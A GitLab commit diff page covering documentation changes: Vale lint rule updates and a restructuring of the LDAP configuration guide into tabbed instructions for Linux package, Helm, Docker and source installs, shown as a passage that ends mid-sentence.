diff options
| author | GitLab Bot <gitlab-bot@gitlab.com> | 2023-01-18 22:00:14 +0300 |
|---|---|---|
| committer | GitLab Bot <gitlab-bot@gitlab.com> | 2023-01-18 22:00:14 +0300 |
| commit | 05f0ebba3a2c8ddf39e436f412dc2ab5bf1353b2 (patch) | |
| tree | 11d0f2a6ec31c7793c184106cedc2ded3d9a2cc5 /doc | |
| parent | ec73467c23693d0db63a797d10194da9e72a74af (diff) | |
Add latest changes from gitlab-org/gitlab@15-8-stable-eev15.8.0-rc42
Diffstat (limited to 'doc')
531 files changed, 10993 insertions, 5985 deletions
diff --git a/doc/.vale/gitlab/GitLabFlavoredMarkdown.yml b/doc/.vale/gitlab/GitLabFlavoredMarkdown.yml new file mode 100644 index 00000000000..532f1afd816 --- /dev/null +++ b/doc/.vale/gitlab/GitLabFlavoredMarkdown.yml @@ -0,0 +1,14 @@ +--- +# Warning: gitlab.GitLabFlavoredMarkdown +# +# Checks for unclear use of GLFM or GLM instead of GitLab/GitHub Flavored Markdown +# +# For a list of all options, see https://vale.sh/docs/topics/styles/ +extends: substitution +message: "Use '%s' instead of '%s' when possible." +link: https://docs.gitlab.com/ee/development/documentation/styleguide/word_list.html +level: warning +ignorecase: true +swap: + GLFM: "GitLab Flavored Markdown" + GFM: "GitLab Flavored Markdown' or 'GitHub Flavored Markdown" diff --git a/doc/.vale/gitlab/HeadingDepth.yml b/doc/.vale/gitlab/HeadingDepth.yml index 7a3e5b4b552..5bbe667481c 100644 --- a/doc/.vale/gitlab/HeadingDepth.yml +++ b/doc/.vale/gitlab/HeadingDepth.yml @@ -1,5 +1,5 @@ --- -# Warning: gitlab.HeadingDepth +# Suggestion: gitlab.HeadingDepth # # Checks that there are no headings greater than 3 levels # @@ -7,7 +7,7 @@ extends: existence message: "Refactor the section or page to avoid headings greater than H5." link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#headings-in-markdown -level: warning +level: suggestion scope: raw raw: - '(?<=\n)#{5,}\s.*' diff --git a/doc/.vale/gitlab/SentenceLength.yml b/doc/.vale/gitlab/SentenceLength.yml index 69b0d27072e..48ebf02bc7f 100644 --- a/doc/.vale/gitlab/SentenceLength.yml +++ b/doc/.vale/gitlab/SentenceLength.yml @@ -1,5 +1,5 @@ --- -# Warning: gitlab.SentenceLength +# Suggestion: gitlab.SentenceLength # # Counts words in a sentence and alerts if a sentence exceeds 25 words. # @@ -8,6 +8,6 @@ extends: occurrence message: "Improve readability by using fewer than 25 words in this sentence." scope: sentence link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#language -level: warning +level: suggestion max: 25 token: \b(\w+)\b diff --git a/doc/.vale/gitlab/Spelling.yml b/doc/.vale/gitlab/Spelling.yml index 92c5cb13b29..74d919831ac 100644 --- a/doc/.vale/gitlab/Spelling.yml +++ b/doc/.vale/gitlab/Spelling.yml @@ -10,7 +10,7 @@ # # For a list of all options, see https://vale.sh/docs/topics/styles/ extends: spelling -message: "Check the spelling of '%s'. If the spelling is correct, add this word to the spelling exception list." +message: "Check the spelling of '%s'. If the spelling is correct, ask a Technical Writer to add this word to the spelling exception list." level: warning ignore: - gitlab/spelling-exceptions.txt diff --git a/doc/.vale/gitlab/SubstitutionWarning.yml b/doc/.vale/gitlab/SubstitutionWarning.yml index 383ae38da16..8f3d3330271 100644 --- a/doc/.vale/gitlab/SubstitutionWarning.yml +++ b/doc/.vale/gitlab/SubstitutionWarning.yml @@ -26,10 +26,10 @@ swap: ex: "for example" file name: "filename" filesystem: "file system" - GLFM: "GitLab Flavored Markdown" - GFM: "GitLab Flavored Markdown' or 'GitHub Flavored Markdown" info: "information" it is recommended: "you should" + logged in user: "authenticated user" + logged-in user: "authenticated user" n/a: "not applicable" navigate to: "go to" OAuth2: "OAuth 2.0" @@ -37,6 +37,8 @@ swap: once the: "after the" once you: "after you" repo: "repository" + signed in user: "authenticated user" + signed-in user: "authenticated user" since: "because' or 'after" sub-group: "subgroup" sub-groups: "subgroups" diff --git a/doc/.vale/gitlab/TabsLinks.yml b/doc/.vale/gitlab/TabsLinks.yml new file mode 100644 index 00000000000..97f75046fca --- /dev/null +++ b/doc/.vale/gitlab/TabsLinks.yml @@ -0,0 +1,13 @@ +--- +# Error: gitlab.TabsLinks +# +# Checks for the presence of links to individual GitLab UI tabs. +# +# For a list of all options, see https://vale.sh/docs/topics/styles/ +extends: existence +message: "Do not include tabs query parameters in links." +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#tabs +level: error +scope: raw +raw: + - '\[[^\]]+\]\(.*?\.md\?tab=.*?\)' diff --git a/doc/.vale/gitlab/Uppercase.yml b/doc/.vale/gitlab/Uppercase.yml index 039ad7c5f03..19e0fec6622 100644 --- a/doc/.vale/gitlab/Uppercase.yml +++ b/doc/.vale/gitlab/Uppercase.yml @@ -1,13 +1,13 @@ --- -# Warning: gitlab.Uppercase +# Suggestion: gitlab.Uppercase # # Checks for use of all uppercase letters with unknown reason. # # For a list of all options, see https://vale.sh/docs/topics/styles/ extends: conditional -message: "Instead of uppercase for '%s', use lowercase or backticks (`) if possible. Otherwise, add this word or acronym to the rule's exception list." +message: "Instead of uppercase for '%s', use lowercase or backticks (`) if possible. Otherwise, ask a Technical Writer to add this word or acronym to the rule's exception list." link: https://docs.gitlab.com/ee/development/documentation/testing.html#vale-uppercase-acronym-test -level: warning +level: suggestion ignorecase: false # Ensures that the existence of 'first' implies the existence of 'second'. first: '\b([A-Z]{3,5})\b' @@ -47,10 +47,10 @@ exceptions: - CSS - CSV - CTE - - CWE - CVE - CVS - CVSS + - CWE - DAG - DAST - DDL @@ -148,6 +148,7 @@ exceptions: - NTP - OCI - OKD + - OKR - ONLY - OSS - OTP diff --git a/doc/.vale/gitlab/spelling-exceptions.txt b/doc/.vale/gitlab/spelling-exceptions.txt index 81b21f026f4..5403b80141e 100644 --- a/doc/.vale/gitlab/spelling-exceptions.txt +++ b/doc/.vale/gitlab/spelling-exceptions.txt @@ -377,6 +377,7 @@ Getter Getters gettext GIDs +gists Git Gitaly Gitea @@ -547,8 +548,8 @@ Mattermost mbox memoization memoize -memoizes memoized +memoizes memoizing Memorystore mergeability @@ -589,8 +590,8 @@ mutex nameserver nameservers namespace -namespaced namespace's +namespaced namespaces namespacing namespacings @@ -620,6 +621,7 @@ offboarding offboards OIDs OKRs +OKRs Okta OmniAuth onboarding @@ -639,12 +641,12 @@ Packwerk paginator parallelization parallelizations +parsable PascalCase PascalCased passthrough passthroughs passwordless -parsable Patroni PDFs performant @@ -827,8 +829,8 @@ Salesforce sandboxing sanitization SBOMs -SBT sbt +SBT scalers scatterplot scatterplots diff --git a/doc/administration/audit_event_streaming.md b/doc/administration/audit_event_streaming.md index 4d0e6518ebb..92ccbe8b1a6 100644 --- a/doc/administration/audit_event_streaming.md +++ b/doc/administration/audit_event_streaming.md @@ -373,7 +373,7 @@ Streamed audit events have a predictable schema in the body of the response. > - [Added `details.author_class` field](https://gitlab.com/gitlab-org/gitlab/-/issues/363876) in GitLab 15.3. > - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/101583) in GitLab 15.6. Feature flag `audit_event_streaming_git_operations` removed. -Streaming audit events can be sent when signed-in users push, pull, or clone a project's remote Git repositories: +Streaming audit events can be sent when authenticated users push, pull, or clone a project's remote Git repositories: - [Using SSH](../user/ssh.md). - Using HTTP or HTTPS. diff --git a/doc/administration/audit_events.md b/doc/administration/audit_events.md index 1951ab5e2c7..30e6ca44972 100644 --- a/doc/administration/audit_events.md +++ b/doc/administration/audit_events.md @@ -200,7 +200,7 @@ The following actions on groups generate group audit events: [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/353452) in GitLab 14.9. - Failed attempt to create a group deploy token. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/353452) in GitLab 14.9. -- [IP restrictions](../user/group/access_and_permissions.md#restrict-access-to-groups-by-ip-address) changed. +- [IP restrictions](../user/group/access_and_permissions.md#restrict-group-access-by-ip-address) changed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/358986) in GitLab 15.0. - Changes to push rules. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/227629) in GitLab 15.0. - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/356152) in GitLab 15.1, changes to the following merge diff --git a/doc/administration/auditor_users.md b/doc/administration/auditor_users.md index a047e7c1f0b..38c3a089756 100644 --- a/doc/administration/auditor_users.md +++ b/doc/administration/auditor_users.md @@ -55,6 +55,7 @@ If you are signed in with auditor access, you: you can push commits or comment on issues. - Can access the same resources using the GitLab UI or API. - Can't view the Admin Area, or perform any administration actions. +- Can't view job logs when [debug logging](../ci/variables/index.md#enable-debug-logging) is enabled. ## Maintain auditor users using API diff --git a/doc/administration/auth/ldap/google_secure_ldap.md b/doc/administration/auth/ldap/google_secure_ldap.md index 01197fdacdf..e0612099221 100644 --- a/doc/administration/auth/ldap/google_secure_ldap.md +++ b/doc/administration/auth/ldap/google_secure_ldap.md @@ -24,33 +24,33 @@ The steps below cover: 1. Go to **Apps > LDAP > Add Client**. -1. Provide an `LDAP client name` and an optional `Description`. Any descriptive - values are acceptable. For example, the name could be 'GitLab' and the - description could be 'GitLab LDAP Client'. Select the **Continue** button. +1. Provide an **LDAP client name** and an optional **Description**. Any descriptive + values are acceptable. For example, the name could be `GitLab` and the + description could be `GitLab LDAP Client`. Select **Continue**.  1. Set **Access Permission** according to your needs. You must choose either - 'Entire domain (GitLab)' or 'Selected organizational units' for both 'Verify user - credentials' and 'Read user information'. Select 'Add LDAP Client' + `Entire domain (GitLab)` or `Selected organizational units` for both **Verify user + credentials** and **Read user information**. Select **Add LDAP Client**. NOTE: If you plan to use GitLab [LDAP Group Sync](ldap_synchronization.md#group-sync) - , turn on 'Read group information'. + , turn on `Read group information`.  1. Download the generated certificate. This is required for GitLab to communicate with the Google Secure LDAP service. Save the downloaded certificates - for later use. After downloading, select the **Continue to Client Details** button. + for later use. After downloading, select **Continue to Client Details**. -1. Expand the **Service Status** section and turn the LDAP client 'ON for everyone'. - After selecting 'Save', select the 'Service Status' bar again to collapse +1. Expand the **Service Status** section and turn the LDAP client `ON for everyone`. + After selecting **Save**, select the **Service Status** bar again to collapse and return to the rest of the settings. -1. Expand the **Authentication** section and choose 'Generate New Credentials'. - Copy/note these credentials for later use. After selecting 'Close', select - the 'Authentication' bar again to collapse and return to the rest of the settings. +1. Expand the **Authentication** section and choose **Generate New Credentials**. + Copy/note these credentials for later use. After selecting **Close**, select + the **Authentication** bar again to collapse and return to the rest of the settings. Now the Google Secure LDAP Client configuration is finished. The screenshot below shows an example of the final settings. Continue on to configure GitLab. diff --git a/doc/administration/auth/ldap/index.md b/doc/administration/auth/ldap/index.md index 2cb9bac7af9..43d13b8ea32 100644 --- a/doc/administration/auth/ldap/index.md +++ b/doc/administration/auth/ldap/index.md @@ -69,93 +69,137 @@ You should only use LDAP integration if your LDAP users cannot: ## Configure LDAP -To configure LDAP integration, add your LDAP server settings in: +LDAP users must have a set email address, regardless of whether or not it's used +to sign in. -- `/etc/gitlab/gitlab.rb` for Omnibus GitLab instances. -- `/home/git/gitlab/config/gitlab.yml` for source install instances. +Here's an example of setting up LDAP with only the required options. -After configuring LDAP, to test the configuration, use the -[LDAP check Rake task](../../raketasks/ldap.md#check). +::Tabs -NOTE: -The `encryption` value `simple_tls` corresponds to 'Simple TLS' in the LDAP -library. `start_tls` corresponds to StartTLS, not to be confused with regular TLS. -Normally, if you specify `simple_tls` it is on port 636, while `start_tls` (StartTLS) -would be on port 389. `plain` also operates on port 389. Removed values: `tls` was replaced -with `start_tls` and `ssl` was replaced with `simple_tls`. +:::TabTitle Linux package (Omnibus) -LDAP users must have a set email address, regardless of whether or not it's used -to sign in. +1. Edit `/etc/gitlab/gitlab.rb`: -### Example Linux package (Omnibus) configuration - -This example shows a sample configuration for a GitLab instance that -was installed by using the Linux package (Omnibus): - -```ruby -gitlab_rails['ldap_enabled'] = true -gitlab_rails['prevent_ldap_sign_in'] = false -gitlab_rails['ldap_servers'] = { - 'main' => { - 'label' => 'LDAP', - 'host' => 'ldap.mydomain.com', - 'port' => 636, - 'uid' => 'sAMAccountName', - 'encryption' => 'simple_tls', - 'verify_certificates' => true, - 'bind_dn' => '_the_full_dn_of_the_user_you_will_bind_with', - 'password' => '_the_password_of_the_bind_user', - 'tls_options' => { - 'ca_file' => '', - 'ssl_version' => '', - 'ciphers' => '', - 'cert' => '', - 'key' => '' - }, - 'timeout' => 10, - 'active_directory' => true, - 'allow_username_or_email_login' => false, - 'block_auto_created_users' => false, - 'base' => 'dc=example,dc=com', - 'user_filter' => '', - 'attributes' => { - 'username' => ['uid', 'userid', 'sAMAccountName'], - 'email' => ['mail', 'email', 'userPrincipalName'], - 'name' => 'cn', - 'first_name' => 'givenName', - 'last_name' => 'sn' - }, - 'lowercase_usernames' => false, - - # EE Only - 'group_base' => '', - 'admin_group' => '', - 'external_groups' => [], - 'sync_ssh_keys' => false - } -} -``` + ```ruby + gitlab_rails['ldap_enabled'] = true + gitlab_rails['ldap_servers'] = { + 'main' => { + 'label' => 'LDAP', + 'host' => 'ldap.mydomain.com', + 'port' => 636, + 'uid' => 'sAMAccountName', + 'encryption' => 'simple_tls', + 'base' => 'dc=example,dc=com', + } + } + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` -### Example Helm chart (Kubernetes) configuration +:::TabTitle Helm chart (Kubernetes) -View [how to configure LDAP for a GitLab instance that was installed by using the Helm chart](https://docs.gitlab.com/charts/charts/globals.html#ldap). +1. Export the Helm values: -### Example self-compiled (source) configuration + ```shell + helm get values gitlab > gitlab_values.yaml + ``` -This example shows a sample configuration for a GitLab instance that -was installed by using the self-compiled source: +1. Edit `gitlab_values.yaml`: -```yaml -production: - # snip... - ldap: - enabled: false - prevent_ldap_sign_in: false - servers: - main: - label: 'LDAP' - ... -``` + ```yaml + global: + appConfig: + ldap: + servers: + main: + label: 'LDAP' + host: 'ldap.mydomain.com' + port: 636 + uid: 'sAMAccountName' + base: 'dc=example,dc=com' + encryption: 'simple_tls' + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +For more information, see +[how to configure LDAP for a GitLab instance that was installed by using the Helm chart](https://docs.gitlab.com/charts/charts/globals.html#ldap). + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + image: 'gitlab/gitlab-ee:latest' + restart: always + hostname: 'gitlab.example.com' + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['ldap_enabled'] = true + gitlab_rails['ldap_servers'] = { + 'main' => { + 'label' => 'LDAP', + 'host' => 'ldap.mydomain.com', + 'port' => 636, + 'uid' => 'sAMAccountName', + 'encryption' => 'simple_tls', + 'base' => 'dc=example,dc=com', + } + } + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + ldap: + enabled: true + servers: + main: + label: 'LDAP' + host: 'ldap.mydomain.com' + port: 636 + uid: 'sAMAccountName' + encryption: 'simple_tls' + base: 'dc=example,dc=com' + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +For more information about the various LDAP options, see the `ldap` setting in +[`gitlab.yml.example`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example). + +::EndTabs + +After configuring LDAP, to test the configuration, use the +[LDAP check Rake task](../../raketasks/ldap.md#check). ### Basic configuration settings @@ -178,24 +222,17 @@ These configuration settings are available: | `uid` | The LDAP attribute that maps to the username that users use to sign in. Should be the attribute, not the value that maps to the `uid`. Does not affect the GitLab username (see [attributes section](#attribute-configuration-settings)). | **{check-circle}** Yes | `'sAMAccountName'` or `'uid'` or `'userPrincipalName'` | | `bind_dn` | The full DN of the user you bind with. | **{dotted-circle}** No | `'america\momo'` or `'CN=Gitlab,OU=Users,DC=domain,DC=com'` | | `password` | The password of the bind user. | **{dotted-circle}** No | `'your_great_password'` | -| `encryption` | Encryption method. The `method` key is deprecated in favor of `encryption`. | **{check-circle}** Yes | `'start_tls'` or `'simple_tls'` or `'plain'` | +| `encryption` | Encryption method. The `method` key is deprecated in favor of `encryption`. | **{check-circle}** Yes | `'start_tls'`, `'simple_tls'`, or `'plain'`. `simple_tls` corresponds to 'Simple TLS' in the LDAP library. `start_tls` corresponds to StartTLS, not to be confused with regular TLS. If you specify `simple_tls`, usually it's on port 636, while `start_tls` (StartTLS) would be on port 389. `plain` also operates on port 389. | | `verify_certificates` | Enables SSL certificate verification if encryption method is `start_tls` or `simple_tls`. If set to false, no validation of the LDAP server's SSL certificate is performed. Defaults to true. | **{dotted-circle}** No | boolean | | `timeout` | Set a timeout, in seconds, for LDAP queries. This helps avoid blocking a request if the LDAP server becomes unresponsive. A value of `0` means there is no timeout. (default: `10`) | **{dotted-circle}** No | `10` or `30` | | `active_directory` | This setting specifies if LDAP server is Active Directory LDAP server. For non-AD servers it skips the AD specific queries. If your LDAP server is not AD, set this to false. | **{dotted-circle}** No | boolean | | `allow_username_or_email_login` | If enabled, GitLab ignores everything after the first `@` in the LDAP username submitted by the user on sign-in. If you are using `uid: 'userPrincipalName'` on ActiveDirectory you must disable this setting, because the userPrincipalName contains an `@`. | **{dotted-circle}** No | boolean | | `block_auto_created_users` | To maintain tight control over the number of billable users on your GitLab installation, enable this setting to keep new users blocked until they have been cleared by an administrator (default: false). | **{dotted-circle}** No | boolean | | `base` | Base where we can search for users. | **{check-circle}** Yes | `'ou=people,dc=gitlab,dc=example'` or `'DC=mydomain,DC=com'` | -| `user_filter` | Filter LDAP users. Format: [RFC 4515](https://www.rfc-editor.org/rfc/rfc4515.html) Note: GitLab does not support `omniauth-ldap`'s custom filter syntax. | **{dotted-circle}** No | For examples, read [Examples of user filters](#examples-of-user-filters). | +| `user_filter` | Filter LDAP users. Format: [RFC 4515](https://www.rfc-editor.org/rfc/rfc4515.html) Note: GitLab does not support `omniauth-ldap`'s custom filter syntax. | **{dotted-circle}** No | Some examples of the `user_filter` field syntax:<br/><br/>- `'(employeeType=developer)'`<br/>- `'(&(objectclass=user)(|(samaccountname=momo)(samaccountname=toto)))'` | | `lowercase_usernames` | If enabled, GitLab converts the name to lower case. | **{dotted-circle}** No | boolean | | `retry_empty_result_with_codes` | An array of LDAP query response code that attempt to retry the operation if the result/content is empty. For Google Secure LDAP, set this value to `[80]`. | **{dotted-circle}** No | `[80]` | -#### Examples of user filters - -Some examples of the `user_filter` field syntax: - -- `'(employeeType=developer)'` -- `'(&(objectclass=user)(|(samaccountname=momo)(samaccountname=toto)))'` - ### SSL configuration settings These SSL configuration settings are available: @@ -247,35 +284,193 @@ If you have users on multiple LDAP servers, you can configure GitLab to use them alphanumeric characters. GitLab uses the provider ID to associate each user with a specific LDAP server. - For each entry, use a unique `label` value. These values are used for the tab names on the sign-in page. -#### Example of multiple LDAP servers - -The following example shows how to configure three LDAP servers in `gitlab.rb`: - -```ruby -gitlab_rails['ldap_enabled'] = true -gitlab_rails['ldap_servers'] = { - 'main' => { - 'label' => 'GitLab AD', - 'host' => 'ad.example.org', - 'port' => 636, - ... - }, - - 'secondary' => { - 'label' => 'GitLab Secondary AD', - 'host' => 'ad-secondary.example.net', - 'port' => 636, - ... - }, - - 'tertiary' => { - 'label' => 'GitLab Tertiary AD', - 'host' => 'ad-tertiary.example.net', - 'port' => 636, - ... - } -} -``` +The following example shows how to configure three LDAP servers with +minimal configuration: + +::Tabs + +:::TabTitle Linux package (Omnibus) + +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['ldap_enabled'] = true + gitlab_rails['ldap_servers'] = { + 'main' => { + 'label' => 'GitLab AD', + 'host' => 'ad.mydomain.com', + 'port' => 636, + 'uid' => 'sAMAccountName', + 'encryption' => 'simple_tls', + 'base' => 'dc=example,dc=com', + }, + + 'secondary' => { + 'label' => 'GitLab Secondary AD', + 'host' => 'ad-secondary.mydomain.com', + 'port' => 636, + 'uid' => 'sAMAccountName', + 'encryption' => 'simple_tls', + 'base' => 'dc=example,dc=com', + }, + + 'tertiary' => { + 'label' => 'GitLab Tertiary AD', + 'host' => 'ad-tertiary.mydomain.com', + 'port' => 636, + 'uid' => 'sAMAccountName', + 'encryption' => 'simple_tls', + 'base' => 'dc=example,dc=com', + } + } + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + ldap: + servers: + main: + label: 'GitLab AD' + host: 'ad.mydomain.com' + port: 636 + uid: 'sAMAccountName' + base: 'dc=example,dc=com' + encryption: 'simple_tls' + secondary: + label: 'GitLab Secondary AD' + host: 'ad-secondary.mydomain.com' + port: 636 + uid: 'sAMAccountName' + base: 'dc=example,dc=com' + encryption: 'simple_tls' + tertiary: + label: 'GitLab Tertiary AD' + host: 'ad-tertiary.mydomain.com' + port: 636 + uid: 'sAMAccountName' + base: 'dc=example,dc=com' + encryption: 'simple_tls' + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + image: 'gitlab/gitlab-ee:latest' + restart: always + hostname: 'gitlab.example.com' + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['ldap_enabled'] = true + gitlab_rails['ldap_servers'] = { + 'main' => { + 'label' => 'GitLab AD', + 'host' => 'ad.mydomain.com', + 'port' => 636, + 'uid' => 'sAMAccountName', + 'encryption' => 'simple_tls', + 'base' => 'dc=example,dc=com', + }, + + 'secondary' => { + 'label' => 'GitLab Secondary AD', + 'host' => 'ad-secondary.mydomain.com', + 'port' => 636, + 'uid' => 'sAMAccountName', + 'encryption' => 'simple_tls', + 'base' => 'dc=example,dc=com', + }, + + 'tertiary' => { + 'label' => 'GitLab Tertiary AD', + 'host' => 'ad-tertiary.mydomain.com', + 'port' => 636, + 'uid' => 'sAMAccountName', + 'encryption' => 'simple_tls', + 'base' => 'dc=example,dc=com', + } + } + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + ldap: + enabled: true + servers: + main: + label: 'GitLab AD' + host: 'ad.mydomain.com' + port: 636 + uid: 'sAMAccountName' + base: 'dc=example,dc=com' + encryption: 'simple_tls' + secondary: + label: 'GitLab Secondary AD' + host: 'ad-secondary.mydomain.com' + port: 636 + uid: 'sAMAccountName' + base: 'dc=example,dc=com' + encryption: 'simple_tls' + tertiary: + label: 'GitLab Tertiary AD' + host: 'ad-tertiary.mydomain.com' + port: 636 + uid: 'sAMAccountName' + base: 'dc=example,dc=com' + encryption: 'simple_tls' + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +For more information about the various LDAP options, see the `ldap` setting in +[`gitlab.yml.example`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example). + +::EndTabs This example results in a sign-in page with the following tabs: @@ -289,27 +484,100 @@ To limit all GitLab access to a subset of the LDAP users on your LDAP server, fi configured `base`. However, to further filter users if necessary, you can set up an LDAP user filter. The filter must comply with [RFC 4515](https://www.rfc-editor.org/rfc/rfc4515.html). -- Example user filter for Omnibus GitLab instances: +::Tabs - ```ruby - gitlab_rails['ldap_servers'] = { - 'main' => { - # snip... - 'user_filter' => '(employeeType=developer)' - } - } - ``` +:::TabTitle Linux package (Omnibus) -- Example user filter for source install instances: +1. Edit `/etc/gitlab/gitlab.rb`: - ```yaml - production: - ldap: - servers: - main: - # snip... - user_filter: '(employeeType=developer)' - ``` + ```ruby + gitlab_rails['ldap_servers'] = { + 'main' => { + 'user_filter' => '(employeeType=developer)' + } + } + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + ldap: + servers: + main: + user_filter: '(employeeType=developer)' + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + image: 'gitlab/gitlab-ee:latest' + restart: always + hostname: 'gitlab.example.com' + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['ldap_servers'] = { + 'main' => { + 'user_filter' => '(employeeType=developer)' + } + } + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + ldap: + servers: + main: + user_filter: '(employeeType=developer)' + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs To limit access to the nested members of an Active Directory group, use the following syntax: @@ -325,7 +593,7 @@ Support for nested members in the user filter shouldn't be confused with GitLab does not support the custom filter syntax used by OmniAuth LDAP. -#### Escape special characters +#### Escape special characters in `user_filter` The `user_filter` DN can contain special characters. For example: @@ -338,11 +606,11 @@ The `user_filter` DN can contain special characters. For example: - Open and close brackets: ```plaintext - OU=Gitlab (Inc),DC=gitlab,DC=com + OU=GitLab (Inc),DC=gitlab,DC=com ``` - These characters must be escaped as documented in - [RFC 4515](https://www.rfc-editor.org/rfc/rfc4515.html). +These characters must be escaped as documented in +[RFC 4515](https://www.rfc-editor.org/rfc/rfc4515.html#section-4). - Escape commas with `\2C`. For example: @@ -353,12 +621,12 @@ The `user_filter` DN can contain special characters. For example: - Escape open brackets with `\28` and close brackets with `\29`. For example: ```plaintext - OU=Gitlab \28Inc\29,DC=gitlab,DC=com + OU=GitLab \28Inc\29,DC=gitlab,DC=com ``` ### Enable LDAP username lowercase -Some LDAP servers, depending on their configurations, can return uppercase usernames. +Some LDAP servers, depending on their configuration, can return uppercase usernames. This can lead to several confusing issues such as creating links or namespaces with uppercase names. GitLab can automatically lowercase usernames provided by the LDAP server by enabling @@ -373,13 +641,67 @@ the configuration option `lowercase_usernames`. By default, this configuration o ```ruby gitlab_rails['ldap_servers'] = { 'main' => { - # snip... 'lowercase_usernames' => true } } ``` -1. [Reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + ldap: + servers: + main: + lowercase_usernames: true + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + image: 'gitlab/gitlab-ee:latest' + restart: always + hostname: 'gitlab.example.com' + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['ldap_servers'] = { + 'main' => { + 'lowercase_usernames' => true + } + } + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` :::TabTitle Self-compiled (source) @@ -390,11 +712,18 @@ the configuration option `lowercase_usernames`. By default, this configuration o ldap: servers: main: - # snip... lowercase_usernames: true ``` -1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect. +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` ::EndTabs @@ -418,7 +747,11 @@ This does not disable using LDAP credentials for Git access. gitlab_rails['prevent_ldap_sign_in'] = true ``` -1. [Reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` :::TabTitle Helm chart (Kubernetes) @@ -443,6 +776,28 @@ This does not disable using LDAP credentials for Git access. helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab ``` +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + image: 'gitlab/gitlab-ee:latest' + restart: always + hostname: 'gitlab.example.com' + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['prevent_ldap_sign_in'] = true + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + :::TabTitle Self-compiled (source) 1. Edit `config/gitlab.yaml`: @@ -453,41 +808,46 @@ This does not disable using LDAP credentials for Git access. prevent_ldap_sign_in: true ``` -1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect. +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` ::EndTabs ### Use encrypted credentials Instead of having the LDAP integration credentials stored in plaintext in the configuration files, you can optionally -use an encrypted file for the LDAP credentials. To use this feature, first you must enable -[GitLab encrypted 